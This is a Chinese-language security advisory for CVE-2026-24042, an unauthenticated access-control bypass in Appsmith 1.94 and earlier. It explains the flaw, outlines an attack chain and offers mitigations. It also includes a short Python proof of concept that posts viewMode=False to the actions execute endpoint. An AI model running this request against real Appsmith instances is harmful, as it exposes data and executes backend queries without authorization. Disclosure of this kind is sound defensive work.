IPBUF安全漏洞报告
English
CVE-2026-24042 CVSS 9.4 严重

CVE-2026-24042: Appsmith 1.94及以下版本未授权访问漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24042
漏洞类型
访问控制绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Appsmith

相关标签

Appsmith访问控制绕过未授权访问CVE-2026-24042CRITICAL

漏洞概述

Appsmith是一个用于构建管理面板、内部工具和仪表板的平台。该平台在1.94及以下版本中存在严重的安全漏洞,允许未认证用户在公开应用上执行未发布(编辑模式)的操作。攻击者通过在POST请求中设置viewMode=false或省略该参数,即可绕过预期的发布边界,访问本应仅限内部用户的编辑模式功能。这种访问控制缺陷导致敏感数据暴露、编辑模式查询和API被非法执行、开发数据被窃取,以及触发潜在的有害副作用。由于该漏洞无需认证即可利用,且CVSS评分高达9.4,对系统的机密性和完整性造成严重影响。截至漏洞披露时,官方尚未发布修复版本。

技术细节

漏洞源于Appsmith的访问控制机制缺陷。正常情况下,公开应用的用户应仅能执行已发布版本的操作,但系统在验证用户权限时未正确处理viewMode参数。攻击者构造恶意请求POST /api/v1/actions/execute,通过设置viewMode=false绕过权限检查,直接访问编辑模式下的敏感操作。这允许未授权用户执行任意数据库查询、API调用和其他后端操作。系统缺少对编辑模式操作的强制访问控制,导致攻击者可以获取开发环境中的所有资源和配置信息。

攻击链分析

STEP 1
1
识别目标Appsmith实例及其公开应用
STEP 2
2
收集有效的actionId或操作标识符
STEP 3
3
构造POST请求,设置viewMode=false绕过访问控制
STEP 4
4
执行恶意请求,触发编辑模式操作
STEP 5
5
获取敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # 目标Appsmith实例 target_url = "http://target-appsmith.com/api/v1/actions/execute" # 构造恶意请求,绕过viewMode检查 payload = { "actionId": "<action_id>", "viewMode": False # 关键:设置为False以访问编辑模式 } headers = { "Content-Type": "application/json" } # 发送未授权请求 response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Appsmith <= 1.94

防御指南

临时缓解措施
临时禁用公开应用功能,限制外部访问API端点,实施额外的身份验证层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表